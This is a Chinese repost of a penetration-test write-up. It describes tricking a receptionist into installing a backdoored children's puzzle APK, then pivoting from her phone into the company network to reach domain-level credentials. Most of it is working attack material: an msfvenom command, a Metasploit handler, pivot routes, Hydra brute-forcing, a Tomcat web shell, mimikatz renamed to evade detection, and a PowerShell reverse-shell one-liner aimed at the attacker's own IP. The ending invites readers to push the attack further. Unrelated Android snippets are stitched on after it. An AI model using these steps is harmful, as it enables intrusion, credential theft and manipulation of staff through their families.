看我如何从一个APK到最终拿下域管理权限

本文我将向大家介绍在企业网络中使用个人智能手机,会给我们企业网络造成怎样的潜在威胁?事实证明,想要欺骗一位企业内部的员工并让其安装恶意应用程序,其实并不困难。一旦成功,攻击者就可以突破企业内网的防护机制(如杀毒软件等),自由的内网漫游,甚至可以进行权限提升等敏感行为。

声明:本文中提及的公司名称,员工姓名,IP均为虚构,如有雷同纯属巧合!

背景

“超级公司”聘请了我们的一位渗透测试人员,要求我们对其员工进行一次社会工程学的评估。测试范围:利用所有可能的手段来窃取他们预留的文件,并以此展开对员工的社会工程学利用。

在他们公司内部会议期间,我们向其公司的无线网络 GUEST Wi-Fi 发出了访问请求。但该wifi受到了专属的门户访问保护,需要输入账户密码登录才可以访问,且凭证有效期仅为一天。

因此,我们决定假冒客户的身份,直接通过询问该公司的接待员获取wifi密码。接待员很热情,当然不会拒绝我们合理的请求。我们成功连入了该公司的wifi网络,随后我使用了iPhone手机上的Fing扫描器,进行了一次快速的扫描,我们发现有多达数页的Android设备列表,这显然超过了当时建筑物中客人的人数。值得一提的是当时我们询问接待员时,我们看到接待员正在使用WhatsApp进行聊天。场景:干净整洁的桌面上仅有两部手机和一张全家福照片,其中包括:母亲(接待员),父亲和一位年轻漂亮的女孩。

经过短暂的聊天,我们得知了小女孩的年龄为四岁,并且非常活泼好动,唯有安卓智能手机的游戏能让她安静下来。

攻击叙述

社会工程学往往开始于一场小型的网络钓鱼,但不幸的是我们并未成功。后来我们才意识到,原因在于“超级公司”在聘请我们进行评估之前,已经对公司内部员工进行了一系列的安全意识培训。因此一般的钓鱼下载等社工手段,已不适用于他们。

为此我们转换了我们的思路,我们决定把目标对准那位热情的接待员。还记得她的那位女儿吗?我们可以专门为其定制一个儿童Android应用程序,并以她的孩子为借口诱使其下载该应用程序。

我们先是找到了她的电子邮件,然后在电子邮件中放置了一张二维码图片,该二维码图片链接就是我们定制的Android应用程序下载地址,只要简单的扫一扫就能免费下载。二维码如下:

看上去是不是很可爱呢?其实,里面已经注入了我们提前准备的Meterpreter shell。

针对智能手机

其实构建一个恶意的APK并不难,我们首先下载了一个apk程序,然后使用msfvenom创建了Meterpreter的后门,并将该Meterpreter shell注入进该APK程序:

msfvenom -x puzzle.apk \

-p android/meterpreter/reverse_tcp \

LHOST=<OUR_PUBLIC_IP> LPORT=443 \

-o /var/www/html/puzzle.apk

这里我们使用的侦听端口为443端口,之所以选择该端口为侦听端口是因为,通常情况下80和443端口都是公用防火墙允许的标准端口。同时我们也非常有信心,该应用程序会引起她的注意,并且受害者会因此而忽略安装过程中的警告信息。

在我们的机器上,我们在Metasploit中启动了通用有效载荷处理程序:

msf>use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost <OUR_PUBLIC_IP>

lhost => <OUR_PUBLIC_IP>

msf exploit(handler) > set lport 443

lport => 443

msf exploit(handler) > exploit -j -z

[*] Started reverse TCP handler on <OUR_PUBLIC_IP>:443

由于员工喜欢使用GUEST Wi-Fi进行私人上网,因此我们可以利用这一点在公司外部架设一部天线。

Meterpreter的利用

早上8点多,我们在msfconsole上接收到了她的反弹会话:

[*] Meterpreter session 1 opened (<OUR_PUBLIC_IP>:443 ->X.X.X.X:51990) at …

没错! 她安装并启动了apk,因此我们获得了一个Meterpreter会话!

这里我们需要知道受害者当前连接的网络是否为公司wifi网络。通过一个快速的IP检查我们发现,当前她使用的网络处在蜂窝网络提供商范围。这说明她可能正在去公司的路上,而她的女儿则正在玩安卓益智游戏。

该会话并没有持续太久,在几分钟后我们便失去与该会话的连接。在早上9点之前,我们又得到了另一个 Meterpreter 会话:

[*] Meterpreter session 2 opened (<OUR_PUBLIC_IP>:443 ->K.K.K.K:61545) at …

这次IP是公司的IP,她应该已经连接进了公司的Wi-Fi网络。

我们开始进行一些侦察。 除了几款智能手机,我们没有找到与其他子网不同的DNS

我们开始对其网络进行一系列的信息侦察。我们发现除了几款智能手机外,我们没有找到任何与其他子网相关的DNS。

meterpreter>ipconfig

…..

Interface 9

============

Name : wlan0 – wlan0

Hardware MAC : 20:6e:9c:75:94:ba

IPv4 Address : 10.118.1.13

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::226e:9cff:fe75:94ba

IPv6 Netmask : ::

…….

meterpreter > shell

Process 1 created.Channel 1 created.

getprop net.dns1

192.168.178.196

Wi-Fi GUEST网络在10.118.1.0/24网段上,而DNS服务器则位于不同的子网中。

我们配置了路由,以便我们能够从接待员智能手机的Meterpreter会话中访问这个新的子网:

xploit(handler) > route add 192.168.178.0 255.255.255.0 1

Nmap cannot be excluded, so we did a first quick ping scan using proxychains:

msf auxiliary(socks4a) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

—- ————— ——– ———–

SRVHOST 0.0.0.0 yes The address to listen on

SRVPORT 1080 yes The port to listen on.

# Attacker <-> proxychains nmap -sn 192.168.178.0/24 <-> DNS network

Nmap scan report for 192.168.178.195

Host is up (0.15s latency).

Nmap scan report for 192.168.178.196

Host is up (0.22s latency).

Our hosts were happy to receive our ping scan.

We performed then a quick TCP scan:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196

msf auxiliary(tcp) > set RPORTS 1-1024

msf auxiliary(tcp) > run

[*] 192.168.178.195: – 192.168.178.195:80 – TCP OPEN

[*] 192.168.178.195: – 192.168.178.195:8080 – TCP OPEN

[*] 192.168.178.196: – 192.168.178.196:53 – TCP OPEN

以下是当时我们对受害者网络的拓扑图:

针对内网服务器

主机192.168.178.195的80和8080端口处于开放状态。我们在本地做了端口转发,以便我们可以在本地对其网络流量进行分析:

meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80

meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080

我们惊奇的发现80端口,曝露了公司内部的手机目录。我们对于其在GUEST网络发布如此重要的信息,感到难以理解。

我们进行了快速扫描,并没有发现有任何价值的漏洞,所以我们决定检查8080端口。

这次我们很幸运,我们得到了一个Apache Tomcat的基本身份验证弹出窗口。经过一些弱密码的简单尝试失败后,我们决定使用Hydra进行爆破,最终我们成功爆破出了登录密码:admin/password123456 并成功登录!

按理来说,Tomcat Manager和电话簿都不应该在GUEST网络下可用,可能是因为公司防火墙配置错误导致的。

我们计划在Tomcat上上传一个shell,以便与底层操作系统进行交互。

我们使用“Laudanum注入Web漏洞利用代码”来构建我们的war后门,然后利用Manager应用程序,来上传我们的“war”文件,其中包含:

cmd.jsp:我们的web shell与cmd.exe进行交互。

m.ps1:一个混淆和病毒隐藏版本的mimikatz.ps1,用于抓取密码,散列等…

由于其灵活性,我们可以通过一些关键字的模糊处理来达到躲避检测的效果。例如:Invoke-mimikatz我们也可以写成Invoke-mymy等。

我们还在文件末尾添加了Invoke-mymy -dumpcreds,以便直接执行该功能。

上传后,我们可以直接从我们的览器调用cmd.jsp:

这是一个振奋人心的消息,我们的用户当前的权限为SYSTEM权限。我们开始进行相关的信息收集工作。首先,我们来查看下环境变量:

命令: cmd /c set

ALLUSERSPROFILE=C:\ProgramData

COMPUTERNAME=SRVINTRANET

USERDOMAIN=SUPERCOMPANY

USERNAME=SRVINTRANET$

We had a name for our machine: SRVINTRANET. Also, it was a member of AD domain SUPERCOMPANY, great!

Other useful information were retrieved using systeminfo:

Command: systeminfo

Host Name: SRVINTRANET

OS Name: Microsoft Windows Server 2012 R2 Standard

OS Version: 6.3.9600 N/A Build 9600

OS Manufacturer: Microsoft Corporation

OS Configuration: Member Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

然后列出域控制器:

命令: cmd /c nltest /dclist:supercompany

Get a list of DCs in domain ‘supercompany’ from ‘\\SRVDC1′.

srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name

srvdc2.supercompany.local [DS]Site: Default-First-Site-Name

The command completed successfully

这个时候,Android设备可能已经发烫,并且开始变得不稳定。因此,我们需要将我们的shell转移到一个更加稳定可靠的环境中。我们决定将其转移到一个PowerShell shell上,但愿SRVINTRANET(企业内部网)可以连接到外网。

在Tomcat的webshell中,我们运行了我们的PowerShell – 并执行了一键式shell连接命令,而在我们的公网服务器中,netcat正在实时的侦听80端口:

命令: cmd /c powershell -nop -c “$c=New-Object Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,80); $s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2>&1|Out-String);$sb2=$sb+’PS ‘+(pwd).Path+’>’; $sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);

$s.Flush()};$c.Close()”

这段脚本代码都为我们做了什么?它使用了一些命令来启动PowerShell:创建了一个TCPClient对象,将其回连到我们的PC,打开一个I/O流,并使用InvokeExpression (IEX)来接收我们的输入字符,并将它们以PowerShell脚本来执行。

但不幸的是,内网中的shell并没有反向连接到我们的外网PC。因此我们可以初步判断,这个服务器很有可能无法连接到互联网。我们再次回到Tomcat的webshell中,并执行了我们之前上传的mimikatz脚本。

命令: cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\m.ps1

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY gentilkiwi ( [email protected] )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 191734 (00000000:0002ecf6)

Session : Interactive from 1

User Name : Administrator

Domain : SRVINTRANET

Logon Server : SRVINTRANET

Logon Time : 2/17/2017 2:12:31 PM

SID : S-1-5-21-938204560-2839928776-2225904511-500

msv :

[00010000] CredentialKeys

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

[00000003] Primary

* Username : Administrator

* Domain : SRVINTRANET

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

kerberos :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

ssp :    KO

credman :

mimikatz(powershell) # exit

Bye!

我们得到了本地管理员的哈希值,但没有明文 – 这是因为我们的目标是Windows Server 2012。早在 windows 8.1 开始,微软就已经不再将WDigest密码以明文方式存储。而在 windows 8.1以下版本, WDigest密码都默认以明文形式保存在 LSA 内存中。但是不管怎么说,总算还是有所收获的。

我们决定继续寻找一台,可以访问外网的PC。因此,我们仍将通过不稳定的Android智能手机进行操作。

使用“net view”命令,我们得到了域共享服务器列表:

Server Name Remark

————————————————-

\\SRVDC1 Domain controller PDC

\\SRVDC2 [4] Domain Controller

\\SRVWSUS Server WSUS

\\SRVAV Server AV

\\SRVFILE1 File Server

好了文章先到这里,这里就当是给大家留了个坑吧。发散你们的思维,继续扩大战果吧!

相关文章及链接:

[1] http://www.apkmonk.com/app/com.clollo.simplepuzzleforchildren/

[2] https://www.slideshare.net/DanielBohannon2/invokeobfuscation-nullcon-2017

[3] https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/

[4] https://technet.microsoft.com/en-us/library/bb490719.aspx

*参考来源:infosecinstitute,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

本文转至即刻安全(www.secist.com)

原文地址:http://www.secist.com/archives/3226.html

时间: 2024-10-13 00:02:48

看我如何从一个APK到最终拿下域管理权限的相关文章

两个apk打包成一个apk发布

一.简介 前段时间miui6隆重发布,感觉很不错的样子.由于自己没用小米手机,所以要是尝鲜miui6只能使用别的方法,这个时候在应用商店看到了"小米系统"这个应用,下载下来后看到这个应用是miui的一个轻装版本,一个apk里面打包了如下基础应用:桌面.锁屏.通讯模块(短信.拨号盘.联系人).云服务.应用商店,看到这种模式以后不得不对小米互联网产品思维表示佩服,单单91助手上下载量500k+,有了这种便捷的推广方法,估计小米现在已经懒得再去折腾最早弄的比较复杂的patchrom项目了.

Android一个APK多个入口(多个桌面图标)的实现

前言 Android应用一般都是一个APK一个桌面图标,但有时候我们需要实现一个APK在桌面上有多个图标(比如BAT的某些应用,有桌面快捷方式),对于这种一个APK需要在桌面上显示多个图标的,通常有两种方法来实现: 1. 进入程序后生成桌面快捷方式,这个适合于在程序运行之后生成桌面图标: 2. 在AndroidManifest.xml文件中配置多个入口,这个适合于程序安装完成后就在桌面上显示多个图标. 在桌面生成快捷方式,具体实现方式可参见: 1. 总结:android 创建快捷方式的两种方式+

如何把多个Android Project打包成一个APK

如何把多个Android Project打包成一个APK(你的项目如何引用其他项目). 如何把多个android project 打包成一个apk呢,其实原理是这样的,一个主project引用其他的project,其他project类似于jar包一样被引用,当然和jar的引用原理有很大的区别.下面是详细的说明. 第一步,把普通的android project设置成库项目 库项目也是一个标准的android项目,因此你先创建一个普通的android项目. 这个项目可以起任何的名称,任何的报名,设置

(转)获取android手机内部存储空间和外部存储空间的参数 &amp;&amp; 如何决定一个apk的安装位置

转:http://blog.csdn.net/zhandoushi1982/article/details/8560233 获取android文件系统的信息,需要Environment类和StatFs类的支持. (1)Environment 是一个提供访问环境变量的类,常用的方法有: A,getRootDirectory() ,返回File,获取Android 的根目录. B,getDataDirectory() ,返回File ,获取Android 数据目录. C,getExternalSto

(转)从android一个apk中启动第三方apk应用

从android一个apk中启动第三方apk应用 我们在开发中,经常遇到遇到在一个apk中要去运行另外一个apk,就像我们windows一样,搞一个快捷方式一样,那怎么实现呢? 问题的核心点在于我们要拿到第三方apk的package名称跟class名称,这两个至关重要!比如笔者做测试用的qq apk,package名称是com.tencent.pad.qq,class名称是com.tencent.pad.qq.login.QQLoginActivity.从一个apk启动到另外一个apk,当然也是

一个web项目中间的团队管理

一个web项目中间的团队管理 ????最近在参加一个比赛,我们选的题目是:MOOC大型网络在线课堂.这个题目是我们五个人都想做的,我们的成员都是志同道合的五个人. ? 作为团队的统率者: ? 定义规范 在整合CSS的时候出现选择器重名的问题.所以如何给页面里面的元素指定id号的确是个问题 初步的解决方案:按在父子类的关系来命名. ? 指定规划 功能点的规划 每个页面的构思(美工或者模仿) 需要找外人评论 ? 功能点的全面了解 一定先写规划方案 不能上来就干活的 ? 2对每一个MOOC网站都有自己

应用商城 下载apk 安装包解析错误 没有权限 Permission denied Android - failed to open zip archive

1.错误提示: 03-31 16:48:43.740: INFO/ActivityManager(59): Start proc com.android.packageinstaller for activity com.android.packageinstaller/.PackageInstallerActivity: pid=620 uid=10026 gids={} 03-31 16:48:44.749: WARN/zipro(620): Unable to open zip '/dat

搭建一个可直接运营、可管理、安全可靠的互联网电视OTT-TV/IPTV平台

科技的发展就是在不知不觉迅速改变人们的生活.记得就在IPTV的兴起没多久, OTT-TV电视视频业务也开始展露头角.从目前来看,OTT TV的产业链已经逐步形成.内容为王,观看端越来越注重内容的丰富性.网络环境的改善,宽带越来越好,越来越多的人开始通过移动互联网3G网络.4G网络获取所需的直播点播OTT视频服务,而传统的电视受众也逐渐开始习惯交互式操作和自主点播. 那么如何搭建一个可直接运营.可管理.安全可靠的互联网电视OTT-TV/IPTV平台呢?最省时省力最快的把网络电视平台搭建起来的方式是

android apk与apk 之间互相通信--如何自定义权限

在android系统的安全模型中,应用程序在默认的情况下不可以执行任何对其他应用程序,系统或者用户带来负面影响的操作.如果应用需要执行某些操作,就需要声明使用这个操作对应的权限. (在manifest文件中 添加标记) android 系统提供了一系列这样的权限,具体可以查看android 权限,另外,android系统在新的版本中会增加一些permission,可以查看android 版本信息. 当然,app也可以自定义属于自己的permission 或属于开发者使用的同一个签名的permis